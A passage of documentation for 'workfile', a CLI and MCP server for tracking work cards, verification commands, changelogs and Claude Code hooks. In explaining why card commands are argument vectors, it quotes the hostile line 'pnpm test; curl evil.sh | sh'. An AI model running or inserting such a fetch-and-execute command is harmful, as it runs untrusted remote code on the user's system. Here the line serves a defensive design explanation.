axis as `{ values: [...], required: false }` and the warning stops while the vocabulary, the error on a typo and `card list --axis` all stay. An array keeps meaning required. `schema --json` lists the optional ones under `cards.optionalAxes`. ### Card-declared commands A card may bind an acceptance criterion to a command that proves it, in a `verify` block written through `card patch --json-input`: ```yaml verify: - id: gate run: [pnpm, test, test/acceptance.test.ts] criteria: [sha256:ab12…] ``` `run` is an **argument vector, not a shell line**, and it is spawned with no shell. That is what makes the allowlist below decidable: over a shell string `pnpm test` is a prefix of `pnpm test; curl evil.sh | sh` too, and a matcher would be predicting what a shell it never runs will do with the rest of the line. As an argv there is nothing to predict — `;` and `|` are bytes inside one argument, and matching is element-wise string equality. A `run` written as a single string is refused with `CARD_VERIFY_RUN_INVALID` rather than split on spaces, because splitting would be that same parser wearing a smaller hat. `cards.verification.commands` declares which commands a card may name, as argv prefixes: ```js cards: { areas: ["api", "infra"], verification: { commands: [["pnpm", "test"], ["pnpm", "lint"]] } } ``` `["pnpm", "test"]` admits `pnpm test` and `pnpm test --filter cards`, and admits nothing that differs at any position the prefix names. The matcher normalises nothing — no case folding, no trimming, no path resolution, no Unicode normalisation — so `PNPM`, `./node_modules/.bin/pnpm` and a homoglyph are each simply not the declared command. A declared entry that could never match one is refused when the config loads: an empty array, because it is a prefix of everything; an empty or control-character-carrying element, because the frontmatter round trip would not return it unchanged. **The list is empty by default, so a project that declares nothing can run nothing.** A card naming an undeclared command is refused with `CARD_VERIFY_COMMAND_NOT_ALLOWED`, and the message names `cards.verification.commands` when the project has declared none. `doctor` runs the same check on read and reports `verify-command-not-allowed` as an **error**. That is the half that matters in a repository taking pull requests: a card is a Markdown file, so one can arrive as a file in a diff without ever calling a mutation, and the write-time refusal never runs. `doctor --json` is what the generated CI workflow exists to run, so the error is what turns the pull request red. Be clear about what the allowlist buys. It bounds which command a card may name; it cannot bound what that command does, because every command worth allowing dispatches through a file the same pull request can edit — `pnpm test` reads `package.json`, `make check` reads the Makefile. It is anti-escalation on a branch you trust, and it makes a declared command reviewable in one place. Containment for a branch you do not trust is a different control entirely, and belongs to the job rather than to the card: no secrets, no write token, and no evidence written back from a head you did not review. A card that already carries a command the project refuses is refused every write until the block goes, so it cannot be quietly closed around. Clear it and then move the card: ```sh printf '{"verify": null}' | workfile card patch T-0042 --json-input - workfile card transition T-0042 discarded ``` ### Running them ```bash workfile card verify ID [--only ENTRY,ENTRY] [--actor ACTOR] [--json] ``` Runs each declared entry and reports pass or fail per entry, then checks the criteria the passing entries prove. It is the only thing that can: a bound criterion is one `card ac --check` refuses, so without this command a card that binds its criteria is a card nothing can close. Each `run` is spawned as an argument vector with **no shell**, from the workspace root, with stdin closed — a command that stops to ask a question would otherwise wait for a terminal nobody is watching. Entries run one at a time: two declared commands are usually two suites over one working tree, and deciding a project's build is safe to run twice at once is not this tool's call to make on its behalf. `--only` runs a subset, `--json` prints the whole report, and the command exits `1` unless every entry that ran passed. **What a run writes, and what it does not.** A criterion's box records what a command decided, so only a command that decided something writes one: | Outcome | Means | The bound criteria | | --- | --- | --- | | `passed` | Exit `0`. | Checked. | | `failed` | Any other exit status. | Unchecked — a proof that no longer reproduces is not a proof. | | `timed-out` | Killed at `cards.verification.timeoutSeconds`. | Untouched. | | `errored` | Never started: no such command, not executable. | Untouched. | The last two are deliberate and are not a smaller version of `failed`. Killing a command at the timeout is us giving up and a machine with no such command has decided even less; neither is a fact about the criterion. Unchecking there would let a run on the wrong machine erase a proof a right one produced, and the criterion is machine-owned, so `card ac --check` could not put it back. Both still exit `1`, and both print why. An entry that changes a criterion's state leaves a line on the card's trail naming it, because a box that moved because a subprocess exited otherwise has no author in the record at all: ```text - 2026-08-06 09:12Z alice@studio · verify gate: pnpm test acceptance passed, checked #1, #3 - 2026-08-06 11:40Z alice@studio · verify gate: pnpm test acceptance failed (exit 1), unchecked #1, #3 ``` A run that changed nothing writes no line, the same rule a repeated `card transition` follows. `--actor` names who ran it, defaulting the way every other card command's does. **There is no `--dry-run`, and it is refused rather than ignored.** The flag previews filesystem changes, and a run that spawns every declared command and then skips the write-back has already done the part worth previewing. `workfile card show ID --json` reports the `verify` block, which is what looking first means here. The commands run **outside** the card's write lock — they take minutes, and a lock held across them would block every note, claim and status move for as long as a suite runs. The card is read again after the last command exits and the bindings are resolved against *that* reading, so a criterion reworded while the tests were running is no longer bound to the entry and the write is refused by name rather than applied to whatever line moved into that position. How long a command gets is the project's to declare: ```js cards: { verification: { commands: [["pnpm", "test"]], timeoutSeconds: 600 } } ``` Ten minutes by default, between 1 second and 12 hours, and there is no way to say "no timeout": a command that never exits would otherwise hold an unattended CI job forever. `workfile schema --json` reports the effective value under `cards.verification`. **On Windows, a `.cmd` shim cannot be started without a shell.** `pnpm`, `npm` and everything in `node_modules/.bin` are `.cmd` files there, and Node refuses to spawn one unless a shell parses the line — which is the thing the argv model exists to avoid. Such an entry reports `errored` and changes nothing, on that platform only. Declare something Windows can start directly, such as `["node", "node_modules/vitest/vitest.mjs", "run"]`. This is a CLI command and has no MCP tool or HTTP route. Executing a card's commands is something a person asks for at a terminal, and a tool that let an agent trigger it over a long-lived server connection is a wider decision than the one this implements. Claims carry an actor and optional path scope; the server refuses overlapping scopes and releases the claim when a card leaves `doing`. Sequential IDs are allocated per clone, so two branches can mint the same ID and git merges both files without a conflict. Cards are the least exposed kind: a card is created once, by whoever picks up the work, while a changelog fragment is written by *every* branch that changes anything user-visible. `doctor --fix` heals all of them — cards, changelog fragments, managed documents and memory records — and picks the same survivor on every clone: the oldest `created` keeps the ID and the rest move to the next free one, ties broken by path. A released fragment is the exception and always keeps it, because a fragment cut into a version is frozen and the release record lists it by ID. `card renumber --duplicates` stays card-scoped and reports every other collision under `skipped`. When the moved ID was unique, every reference inside `.project/` is rewritten; after a collision the references are ambiguous by construction, so they are listed under `review` instead of being silently repointed. Only the ID half of the filename moves — the title slug survives — and `doctor --fix` brings a card's slug back in step afterwards, which it does not do for the other kinds. A collision is refused rather than repaired when moving a record would not be the correction — two *released* fragments carrying one ID (describe it in a new fragment instead), a release record, an indexed file outside `docs.managedPath` declaring a managed ID in its frontmatter, or one ID spanning two record kinds. For each of those `doctor --fix` prints a `cannot fix:` line naming the reason and the run still exits `1`, because the error is still there. Filter flags take comma-separated values (`--type bug,task`) and combine with AND. `--json` omits the Markdown body and reports `bodyBytes` instead; ask for it with `--with-body`, or pick exactly what you need with `--fields`. Responses carry `total`, `offset` and `truncated`. `show` takes `--fields` too, on every record kind: `card show T-0042 --json --fields id,revision` is how a caller obtains the revision a guarded patch needs without reading the body first. Keys the record does not carry are left out rather than reported as null. A patch without `--expected-revision` applies and says nothing — the guard is optional by design, and the patch's own `--json` answer already carries the new revision. Options are validated per **subcommand**, not per command word. `card show --status doing` and `card patch ID --json-input p.json --title "..."` are refused with `CLI_ARGUMENT_UNKNOWN`, and the message names the subcommand the flag does belong to. They used to exit 0 having silently dropped the flag, which an agent cannot detect. An option given twice is refused with `CLI_ARGUMENT_CONFLICT`, because only the first occurrence is read — pass a list as one comma-separated value. `card ac --check`, `--uncheck` and `card create|patch --axis` are the exceptions and may repeat, because something reads every occurrence. Only `--root`, `--json`, `--dry-run` and `--allow-new` are global. A value a filter cannot parse is refused with `CLI_OPTION_INVALID`, never applied as a filter that matches nothing. `--updated-since` takes `YYYY-MM-DD` (an RFC 3339 timestamp is accepted and read as its date); `--limit`, `--offset`, `--max-issues`, `--older-than`, `--occurrences` and `--port` take whole numbers. `--updated-since 2026-7-1` used to exit 0 with `"total": 0`, and `--limit abc` to return an empty page under a non-zero `total`. A claim has a lifecycle, not just a flag. The card records `claimed_by` and `claimed_at`; the live signal lives in `.project/.cache/activity/sessions/` and therefore outside git, because a heartbeat written into frontmatter would leave the working tree permanently dirty. `doctor` reports `card-claim-stale` past `cards.claimLeaseHours` and `card-claim-orphaned` when a session stops signalling, and `workfile card reap` releases them. ### What produced a write The trail says who and when; `produced_by` says what. Declare it and every card write records it beside the actor — as a `via:MODEL/REASONING` token on the trail line and as a `produced_by` block in frontmatter, so `card list --json` can be counted over by model without parsing prose: ```sh WORKFILE_MODEL=claude-opus-4-1 WORKFILE_REASONING=high workfile card transition T-0042 review # - 2026-09-11 18:40Z alvaro@local#597ecdc9 via:claude-opus-4-1/high · doing → review ``` It is **self-reported** and the block says so (`basis: self-reported`): an agent can set an environment variable to anything, so read it as a label the writer chose, never as an attestation. The halves come from, in order, `WORKFILE_MODEL` then `ANTHROPIC_MODEL`; `WORKFILE_REASONING` then `CLAUDE_EFFORT` (which Claude Code exports to the Bash tool and to hooks) then `CLAUDE_CODE_EFFORT_LEVEL`; and last the session file the Claude hook writes, which carries `model` when a `SessionStart` payload included it and `effort.level` from every tool call. A half nobody declared is written as `undeclared`. A value that is not a label — more than 64 characters, or outside `[A-Za-z0-9._:+-]` — is refused with a note on stderr and the write records `undeclared` instead, which is what keeps the field from carrying anything but a name. With nothing declared the record is byte-identical to today, and the block is the last writer *that declared*: a write with no declaration puts no token on its trail line and leaves the block alone, so a human's note after an agent's close does not erase which model closed it. `claimed_by` and the guard's actor comparison are untouched either way. ## Docs ```bash workfile doc list [--query TEXT] [--managed] [--json] workfile doc show ID [--json] workfile doc create --title TITLE [--kind KIND] [--status STATUS] [--folder PATH] # TITLE up to 120 characters workfile doc create --json-input FILE # recommended: body and metadata in one call workfile doc move ID --folder PATH [--expected-revision REV] workfile doc patch ID --json-input FILE [--expected-revision REV] workfile doc write ID [--body-file FILE] [--expected-revision REV] # or pipe the body on stdin workfile doc note ID --text TEXT [--section NAME] [--actor ACTOR] ``` `doc write` replaces the body and leaves the frontmatter as it is; `doc note` appends one timestamped, attributed line under a heading, creating it when absent. They are the document forms of `card write` and `card note`, and exist because `doc patch` takes the body as one field among the rest — so before them the only way to change a paragraph of a document edited over hours was to keep a working copy outside the repository and send the whole body back each time. A card title is refused past 80 characters and a document title past 120, before anything is written. `workfile schema --json` reports both under `cards.limits.title` and `docs.limits.title`, so a caller composing a record can read the bound instead of meeting it; the refusal says how long the title was. Indexed documents (from configured globs) get deterministic `PATH-*` IDs and are read-only; managed documents live in `.project/docs/` with `DOC-NNNN` IDs. Managed documents are loaded recursively, so folders work even when they are created by hand. `docs.layout` decides where new documents are written — `kind` (the default) groups them into a folder named after the document kind, `flat` uses the managed root — and `--folder PATH` overrides it for a single command. The path must stay inside `docs.managedPath`; `--folder ""` targets the root. `workfile doc move` relocates a document without changing its ID or its content. ## History (changelog) ```bash workfile changelog list [--unreleased] [--visibility public|internal] [--json] workfile changelog show ID [--json] workfile changelog add --title TITLE [--type fixed] [--area AREA] workfile changelog add --json-input FILE # recommended: body and metadata in one call workfile changelog patch ID --json-input FILE [--expected-revision REV] workfile changelog preview [--fragments CHG-0001,CHG-0002] workfile changelog release VERSION [--fragments CHG-0001,CHG-0002] [--title TITLE] workfile changelog release VERSION --amend [--title TITLE] [--date YYYY-MM-DD] # newest release only workfile changelog release VERSION --amend --drop CHG-0002 # a fragment cut by mistake goes back to unreleased workfile changelog render [--visibility public|internal] [--write] workfile changelog verify ``` Release version validation follows `changelog.releaseStrategy`: `semver`, `calendar` or `freeform`. `--amend` corrects the newest release only. It changes `--title`, `--date`, `--commit`, `--body` and `--tags`, and refuses `--fragments` rather than ignoring it. `--drop CHG-…` is the one change it makes to what a release consumed: the fragment's file moves back to `unreleased/`, its id leaves the release record, and a rendered changelog that exists is rewritten — so a duplicate cut into a release no longer needs git to undo (T-0253). An id whose file is already gone is only taken off the list, which repairs `release-missing-fragment`. A release keeps at least one fragment. `changelog verify` diagnoses the changelog the way `doctor` does — the same issues under the same codes, `release-missing-fragment` included — and exits 1 when any of them is an error, with `--json` as well as without. It used to read an index nobody had diagnosed and answer `0 errors` on any tree (T-0252). ## Memory ```bash workfile memory list [--collection learnings] [--status active] [--json] workfile memory show ID [--json] workfile memory add COLLECTION --title TITLE [--status STATUS] workfile memory add COLLECTION --json-input FILE # recommended: body and metadata in one call workfile memory patch ID --json-input FILE [--expected-revision REV] workfile memory graduate ID --to CONV-0001,DOC-0001 workfile memory supersede ID --by ID workfile memory verify # the same verdict and exit code as changelog verify, for memory ``` `add` accepts singular aliases (`learning`, `decision`, `incident`, `convention`, `context`) as well as collection ids. Collections and prefixes: | Collection | Prefix | Purpose | | --- | --- | --- | | learnings | `LRN` | Reusable observations with confidence and occurrences | | decisions | `ADR` | Proposed / accepted / rejected / superseded decisions | | incidents | `INC` | Operational events with severity and resolution metadata | | conventions | `CONV` | Durable rules for humans and agents | | context | `CTX` | Useful but potentially expiring project state | ## Agents ```bash workfile agents sync [--targets agents-md,claude,cursor,copilot] workfile agents check [--targets ...] workfile agents context --card T-0001 [--limit 20] workfile agents whoami [--json] ``` `sync` writes compact managed blocks (version + SHA-256 digest) into `AGENTS.md`, `CLAUDE.md`, `.cursor/rules/` or `.github/copilot-instructions.md` without touching unrelated content. `context` returns a bounded, prioritized context bundle for a card. Accepted decisions and conventions skip the relevance filter, because a rule binds work that does not mention it. Past `--limit` they are not cut: they come back under **Also in force** as one titled line each, so a workspace with fifty accepted ADRs still hands an agent every ID it must not contradict at a cost of a line rather than a summary. Everything else that did not fit is reported as a count under **Left out** and reachable through `search`. `whoami` prints the actor every surface attributes mutations to, and which rung produced it. Resolution order: an explicit `--actor`, then `$WORKFILE_ACTOR`, then `user@host` — discriminated by a short session prefix when a session id is present, because two agent sessions in one checkout are two actors and a shared username would let them silently take each other's claims. Set `$WORKFILE_ACTOR` to pin a stable name. ## Claude Code ```bash workfile claude install [--dry-run] [--force] workfile claude check [--json] ``` `install` writes the Claude Code surface into the repository — the MCP server registration, the slash commands, the skill and the session hooks — as managed blocks a later resync updates without touching anything around them. `check` reports which of them are stale and exits `1` when any is, which is what makes it usable in CI. Each stale file is reported with the comparison that failed — `style`, `body`, `digest` or `trailing-newline` — because one of them is otherwise invisible: the digest is taken over trimmed bytes, so a file that lost its final newline agrees with its own digest and is stale over a byte no hash covers. `.mcp.json` and `.claude/settings.json` carry no marker to hold a digest, because they are merged into files the repository also owns. They are compared against the values an install would write, key by key, using the ledger at `.project/generated/claude-code.json` that records which of them are this tool's — so a hand-edited server registration is reported as `mcpServers.workfile`, and a server the repository added beside it is neither compared nor touched. The last line of the report is not a file but the command the hooks name, resolved. A workspace with the package installed gets `node node_modules/@illodev/workfile/…/hooks.mjs`; one without gets the `workfile-hooks` bin, found on `PATH`. Either can be `unreachable`, which is a different repair from a stale file: the settings can say exactly what an install would write and still name a hook that is not there, and a hook that cannot run exits `0` in silence. It is reported as a warning rather than an error, because whether a bin is on `PATH` is true on one machine and false on another. `workfile claude` with no subcommand runs `check`, because reporting is the safe default for a word that otherwise writes files. Neither command is what installs the *package* into a Claude Code session: a client reads `.mcp.json` and starts the server itself. See [mcp.md](/docs/mcp.md) for what `install` writes and what each hook does. ## CI templates ```bash workfile ci sync [--targets github,gitlab,generic] workfile ci check [--targets ...] ``` ### What the generated GitHub workflow does, and what it will not do Three jobs. `doctor` validates the protocol. `cards` runs the commands the cards this branch touched declare, and `record` writes the result back. Those last two are deliberately not one job. A criterion bound to a command can only be checked by running it, so `cards` executes commands a pull request declared — and therefore holds `permissions: {}`, with no credentials left in `.git/config`. Writing evidence needs `contents: write`, so `record` holds it and runs no repository code at all: not even Workfile, because every Workfile command `import()`s `project.config.mjs` from the checkout. It applies a patch bounded to the protocol directory and pushes. **A fork records nothing.** GitHub issues a read-only token for `pull_request` from a fork, so the push cannot land whatever the workflow says; `record` also declines to start there, in order to say so rather than fail at the last step. **CI closes a card only when every one of its criteria is bound to a command.** A narrative criterion is not something a runner has an opinion about, so a card that carries one gets its bound boxes written and stays open, with the reason reported. That is the whole safety of the write-back: `card ac --check` refuses a bound criterion and only the runner writes it, so the boxes CI touches are boxes no person was going to check either way. **Only on a pull request.** "The cards this branch touched" is a diff against a base and a push to a default branch has none. The checkout needs `fetch-depth: 0`, because the diff is taken from the merge base and a shallow clone has none — reported as *cannot answer* rather than as an empty diff, which would turn "nothing was verified" into "there was nothing to verify". `--base` is required and has no default. Guessing it wrong means running the declared commands of cards the branch never opened, and writing to them. **GitLab and the generic script run no card commands.** GitLab has no per-job permission scope, so the job sees every unprotected variable in the project and there is nowhere to put a command a merge request declared; the generic script inherits the whole environment of whatever invokes it. Both files carry the invocation commented out with what a maintainer would have to arrange first. ## Legacy migration ```bash workfile migrate plan [--source .planning] [--mode copy|move] workfile migrate apply [--source .planning] [--mode copy|move] [--force] workfile migrate schema [--dry-run] [--json] ``` Valid v1 cards become canonical v2 records; everything else is preserved under `.project/sources/legacy-planning/` with a written migration report. `migrate schema` is a different job: it moves a workspace forward when the installed package expects a newer `schemaVersion` than `.project/VERSION` declares. Steps run in ascending order under a lock, `--dry-run` prints the plan without writing, and the result is recorded in `.project/migrations/schema.json` along with `upgradedWith` in `.project/VERSION`. A workspace *newer* than the package is refused with `WORKSPACE_SCHEMA_AHEAD` — upgrade the package instead. ## MCP ```bash workfile mcp [serve] [--read-only] workfile mcp inspect [--json] workfile mcp config [--read-only] [--json] ``` See [mcp.md](/docs/mcp.md) for the server contract. --- # MCP server Workfile includes a local, dependency-free MCP server speaking UTF-8, newline-delimited JSON-RPC over stdio. Every operation delegates to the same core services used by the CLI and HTTP API. ```bash workfile mcp # serve over stdio workfile-mcp --root /path/to/repository workfile mcp --read-only # mutation tools removed from tools/list workfile mcp inspect --json # tool/resource/prompt inventory workfile mcp config --json # portable client process configuration ``` ## Reading the workspace `project_card_list`, `project_doc_list`, `project_changelog_list` and `project_memory_list` answer "what is in here" without needing a search query. They take filters (`status`, `area`, `type`, `priority`, `parent`, `claimedBy`, `unclaimed`, `tags`, `updatedSince`) and return a compact row per record — no Markdown body, no `revision`. `updatedSince` takes `YYYY-MM-DD`, or an RFC 3339 timestamp read as its date; anything else is refused with `MCP_ARGUMENT_INVALID` rather than applied as a filter that matches nothing. `project_next` answers the question an agent actually has: which cards can be started now. It excludes epics and anything with unmet dependencies, puts work already claimed by the caller first, and attaches the reason each candidate qualified. Listings deliberately omit `revision`. Writing needs a read-then-write — `project_get_record` returns the current revision, which `expectedRevision` then guards — and carrying a possibly-stale one in a list only invites a conflict. Every result carries the data once, in `structuredContent`; `content` is a one-line summary rather than a second copy of the payload. When a result would exceed `maxToolResultBytes` the server degrades it rather than failing the call, because a get-by-id has no query to narrow — and says so with **`resultTruncated`**: `{ records: }`, or `{ bodyBytes: }` when a single record's body was clipped. That marker is the transport speaking, and it is deliberately not called `truncated`. A tool may declare a `truncated` of its own meaning something else entirely: `project_agent_context` returns `truncated: boolean` for relations dropped to respect `limit`, and the two used to be one key — so a large bundle replaced the boolean with an object, a caller checking `=== true` survived by accident because an object is truthy, and a caller reading `truncated.records` on any other tool got `true` from that one. ## Claude Code integration ```bash workfile claude install # generate the surface into the repository workfile claude check # report drift, exit 1 when anything is stale ``` `install` writes, as managed blocks that a resync updates without touching anything around them: | File | What it does | | --- | --- | | `.mcp.json` | Registers the server, exactly as below | | `.claude/commands/{next,claim,done,context}.md` | Slash commands over one CLI call each | | `.claude/skills/workfile/SKILL.md` | Projects `.project/agents/protocol.md` rather than restating it | | `.claude/settings.json` | Three hooks | ```json { "mcpServers": { "workfile": { "command": "npx", "args": ["-y", "@illodev/workfile", "mcp"] } } } ``` That is the form for a workspace with no local install. Where the package is a dependency, `install` registers the copy in `node_modules` instead — the same one the hooks already run — so the server and the hooks are the same build. The two used to differ: `.mcp.json` fetched whatever npm published today while `.claude/settings.json` ran whatever the repository had, and a workspace pinned to 0.5.2 spoke to a 0.5.4 server. The two halves disagreeing about what the protocol is produces symptoms that look like anything else. Re-running `install` follows the dependency in either direction. `upgrade` reports it when the binary doing the upgrading is not the one the workspace will run — the shape `pnpm i -g @illodev/workfile` produces against a repository that pins an older release. It registers the package and the `mcp` subcommand, not the `workfile-mcp` bin. That bin exists and parses its own flags — `workfile mcp config` emits it, for hosts building a configuration themselves — but `npx` cannot select a named bin from a package spec, so registering it that way started the CLI instead of the server and every request was answered with the help text on stdout. T-0116 changed it in 0.4.0; this table went on describing the old behaviour until it was corrected. **`SessionStart`** injects the board once — cards in flight, who holds them, which paths they cover — so a session begins informed without reading a record. Once per session, not per prompt: per-prompt injection accumulates in the window. **`PreToolUse`** on `Edit|Write|NotebookEdit` compares the target path against the scope of cards claimed by *other* actors and answers `ask` with the card and the actor named. It also asks when something writes a `.project/` record directly, because that skips the lock, the revision check and validation. It asks; it never denies. A guard rail that blocks too much gets switched off, and then it protects nothing. **`PostToolUse`** refreshes the session heartbeat under `.project/.cache/activity/sessions/` and appends one line to `.project/.cache/activity/events.jsonl`, asynchronously. The heartbeat is what makes a claim `live` rather than merely `held`: a hook is the only thing that fires repeatedly for as long as an agent is working, and a one-shot CLI process that signalled once would decay into a false `orphaned` ninety seconds later. After a `Bash` call the same hook also looks at what the guard could not see. A `Bash` payload carries `command`, not `file_path`, so an edit made with `sed`, a heredoc or `tee` inside another actor's scope was asked nothing — measured on a consuming board with eight panels live, a file inside a held scope changed with zero events in the ledger. The hook walks the scopes *other* actors hold, bounded to 4000 entries and never into `.git`, `node_modules` or `.project`, and takes every file whose mtime falls after this session's previous signal and that no typed-tool edit in the ledger accounts for. Each one is appended to `events.jsonl` with a `collision` object naming the card and its holder, and the agent is told in `additionalContext`: the paths, the card, and whether the holder's session was signalling in that window — the window is the whole command, so a neighbour writing to their own scope through `Bash` at the same moment lands in it too, and the text says "changed while your command ran", never "you changed". It reports; it prevents nothing, and it never joins the `PreToolUse` matcher, whose budget is built on not spawning node for a `Bash`. The hook stays asynchronous, and Claude Code delivers an async hook's output with the *next* tool result: measured in a live session, each report arrived one call after the command it describes. That is what "after the fact" costs, and it is still before the agent's next edit lands. Silence is only evidence about a holder some session signals as. A claim made with a hand-typed `--actor` matches no session file, so its holder is silent in every window by construction; the report says so — "no session here signals as that name" — instead of calling the change "most likely yours", and the `collision` object carries `holderKnown: false` (T-0256). A subagent is not a separate session to the hook: measured in a live session, its tool calls fire the same hooks with the parent's `session_id`, plus `agent_id` and `agent_type`, and the CLI inside it resolves the parent's actor. A scope the parent session holds is therefore the subagent's own, and each ledger line a subagent's call writes carries `agentId` and `agentType`. The hook runtime (`dist/src/runtime/claude/hooks.mjs`) imports nothing from this package. `src/index.js` re-exports thirteen modules and several read `package.json` at load, and `PreToolUse` runs before *every* tool call in the session — not only the ones it might block. A test pins its p95. Generated files grant permissions in someone else's repository, so `allowed-tools` names the exact subcommand (`Bash(workfile card claim *)`), never `Bash(project *)`. `.claude/settings.json` and `.mcp.json` are merged, not replaced: a ledger in `.project/generated/claude-code.json` records which keys are generated so removing one later actually removes it. ### Installing as a plugin The same surface is distributed as a Claude Code plugin, for repositories that would rather not have generated files committed: ``` /plugin marketplace add illodev/workfile /plugin install workfile@illodev ``` The plugin registers the MCP server with `--root ${CLAUDE_PROJECT_DIR}` and resolves its hooks through `${CLAUDE_PLUGIN_ROOT}`, so it works without the package being a dependency of the repository at all. The server is only half of it; the rest is session-side: - **Slash commands** — `/claim` (claim a card with an honest scope), `/card-context` (the bounded context bundle for a card), `/next` (unclaimed candidates worth starting) and `/done` (verify, record, release). The context command was `/context` until 0.10.0, where it shadowed Claude Code's own `/context`; `claude install` retires a generated `context.md` it finds. - **A skill** that teaches the session the one non-negotiable rule: records under `.project/` change through the CLI or MCP tools, never through a raw file edit that would skip the lock, the revision check and validation. - **Hooks** that make claims an executable guard rail rather than prose: `SessionStart` rebuilds the claims board and announces which cards are being worked on and by whom; `PreToolUse` asks — never denies — before an edit that lands inside another actor's claimed scope or touches a protocol record directly; an async `PostToolUse` refreshes the session heartbeat under `.project/.cache/activity/sessions/`, which is what the UI's presence indicators read, appends the edit to `.project/.cache/activity/events.jsonl`, and after a `Bash` call reports any file that changed inside another actor's scope while the command ran — the edit the guard cannot see. Both forms exist on purpose. A plugin's `settings.json` accepts only `agent` and `subagentStatusLine`, so anything else has to be generated locally; and a generator alone means every version bump leaves the written files behind, which is the trap `T-0018` recorded. `scripts/build-plugin.ts` assembles the plugin from the same functions `workfile claude install` uses, and a test asserts the packaged runtime is byte-identical to the source — a hook that behaves differently depending on how it was installed is a bug nobody would find. ## Protocol revisions The server is dual-era: - **Modern `2026-07-28`** — stateless per-request `_meta`, `server/discover`, `resultType` and cache metadata. - **Legacy `2025-11-25`** and earlier declared revisions — the `initialize` / `notifications/initialized` lifecycle for existing hosts. ## Tools (32) Read-only: | Tool | Purpose | | --- | --- | | `project_workspace` | Workspace, config and module overview | | `project_search` | Unified weighted search across all collections | | `project_get_record` | Any record by stable ID | | `project_doctor` | Full health diagnostics | | `project_agent_context` | Bounded, prioritized context for a card | | `project_next` | Unclaimed, prioritized candidates to start now | | `project_card_list` | Cards filtered by status, area, type or claim | | `project_doc_list` | Documents with status and folder | | `project_changelog_list` | Change fragments and cut releases | | `project_memory_list` | Memory records per collection | | `project_changelog_preview` | What a release would consume, without cutting it | Mutations (absent in `--read-only` mode; rejected with `MCP_SERVER_READ_ONLY`): | Domain | Tools | | --- | --- | | Work | `project_card_create`, `project_card_patch`, `project_card_write`, `project_card_note`, `project_card_claim`, `project_card_release`, `project_card_transition`, `project_card_archive`, `project_card_reopen` | | Docs | `project_doc_create`, `project_doc_move`, `project_doc_patch`, `project_doc_write`, `project_doc_note` | | History | `project_changelog_add`, `project_changelog_patch`, `project_changelog_release` | | Memory | `project_memory_add`, `project_memory_patch`, `project_memory_graduate`, `project_memory_supersede` | Tool descriptions carry read-only, destructive and idempotency annotations. ### What each tool declares Every tool declares its full contract, so a caller never has to infer one: - **Every input property carries a `description`.** Names do not survive inference — `scope` is filesystem paths on a card and subject matter on a document, and `source` is provenance on both while meaning different things. - **Closed vocabularies declare `enum`.** Card `status`, `type`, `priority` and `effort` come from frozen protocol constants, so they are enumerated in the schema itself. Areas, document kinds, changelog types and memory statuses are declared per project and accept any string, so they are *not* enumerated — their descriptions point at `project_workspace`, which reports what this project actually accepts. - **Defaults are declared where the implementation has one**, rather than left for the caller to discover by omitting the field. - **Every tool declares an `outputSchema`** matching the `structuredContent` it returns, including `resultTruncated` — declared rather than merely allowed, so a caller reads it from the schema instead of meeting it the first time a payload gets large. None of them is a closed object either: the degradation path adds a field, and a schema that forbade it would invalidate the server's own answer. `project_card_release` is the one place where an enum is narrower than the protocol's: a released card cannot stay `doing`, so that value is refused as an explicit target and omitted from the schema. `method` is the second. `project_card_transition`, `project_card_patch` and `project_card_release` each take `method`, `run` and `evidence`, which say how a close was proved — but the enum offers `local`, `ci` and `manual` only. `forced` is derived from what the acceptance gate waived and is refused as an input, and in any case no MCP tool can force a transition today: `project_card_transition` declares neither `force` nor `reason` and reads neither, so a close through this surface is always a proven one. Passing any of the three on a call that does not move the card into `done` is refused rather than ignored. That last point has a consequence worth stating, now that a project can declare which methods an area accepts. `CARD_VERIFICATION_METHOD_REFUSED` is **final on this surface**: the waiver every other surface offers is `force` with a reason, and no MCP tool carries either. An agent that meets it has to prove the card the way the project asks — read `project_workspace` first, under `cards.verification.methods`, rather than discovering the rule by being refused. Omitting `method` is not the way around it: a close with none records `local`. `project_doctor` takes `checkGit` beside `checkPaths`. It gates the one check that leaves the process — whether a done card's commit is still an ancestor of HEAD — and nothing is spawned unless some card carries a commit. ## Resources and prompts - **Resources:** `project://workspace`, `project://health`, `project://protocol`, `project://record/{id}`. - **Prompts:** `start-work`, `finish-work`, `record-knowledge`. ## Limits Two, both from `project.config.mjs`, and they guard opposite directions. | Key | Default | What it does | | --- | --- | --- | | `mcp.maxMessageBytes` | 1 MiB | An incoming JSON-RPC line larger than this is refused with `-32600` before it is parsed. | | `mcp.maxToolResultBytes` | 512 KiB | A result larger than this is truncated with a `truncated` marker rather than failing the call. | Both accept 1 KiB to 16 MiB. The asymmetry between them is deliberate: an oversized *request* is a client defect and failing it early is the honest answer, while an oversized *result* is usually a get-by-id with no query to narrow, so degrading beats refusing. `mcp.resourcePageSize` (default 100, range 1–500) bounds how many records one resource read returns. ## Process hygiene stdout is reserved exclusively for MCP messages; diagnostics go to stderr. `workfile mcp config` emits the Node executable, the **`workfile-mcp` binary**, workspace root, preferred protocol revision and optional `--read-only` flag, so hosts can build their own client configuration — client-specific files stay outside the canonical repository protocol. It names the dedicated binary rather than `workfile mcp` on purpose: the multiplexed CLI takes the third argument as a subcommand, so a `--root` in that position is not a flag it can parse. `test/mcp.test.ts` spawns exactly what the helper returns and drives a handshake through it, so the emitted command cannot drift into being unrunnable again. --- # HTTP API `workfile ui` starts the local server (default `http://127.0.0.1:4747`). The same core services back the CLI, the MCP server and the UI — the API is a thin layer. ## Conventions - Managed record reads expose an `ETag`; mutations accept `If-Match` and reject stale writes with a conflict error. - Errors use stable codes: ```json { "error": { "code": "MEMORY_WRITE_CONFLICT", "message": "The memory record changed after it was loaded.", "details": {} } } ``` - List endpoints accept `q`, `limit` and `offset`; responses carry `total`. - List endpoints also accept `view=full|summary|list` and `fields=a,b,c`. `summary` replaces the Markdown body with `bodyBytes` and a 200-character `excerpt` and reduces the link arrays to ids and relations; `list` drops the excerpt too. `fields` overrides the view and returns exactly those keys. Measured on 100 records: 169 KB full, 70 KB summary, 43 KB list, 6.7 KB for three fields. `full` is the default deliberately — the packaged UI still renders record bodies out of its list responses — so narrowing is opt-in until it fetches what it displays. - Collection reads carry an `ETag` over the page they return, and honour `If-None-Match` with a `304`. Cards are the corpus a polling client re-fetches most, so this is where it matters: the steady state costs a header exchange. - JSON responses above ~1.4 KB are gzipped when `Accept-Encoding` allows it, with `Vary: Accept-Encoding`. Brotli is not offered: ~14% smaller for roughly an order of magnitude more CPU on a single-threaded server. - `Cache-Control` is `no-cache` — revalidate every time, but a revalidation may answer `304`. It is deliberately not `no-store`, which would forbid that. ## Events `GET 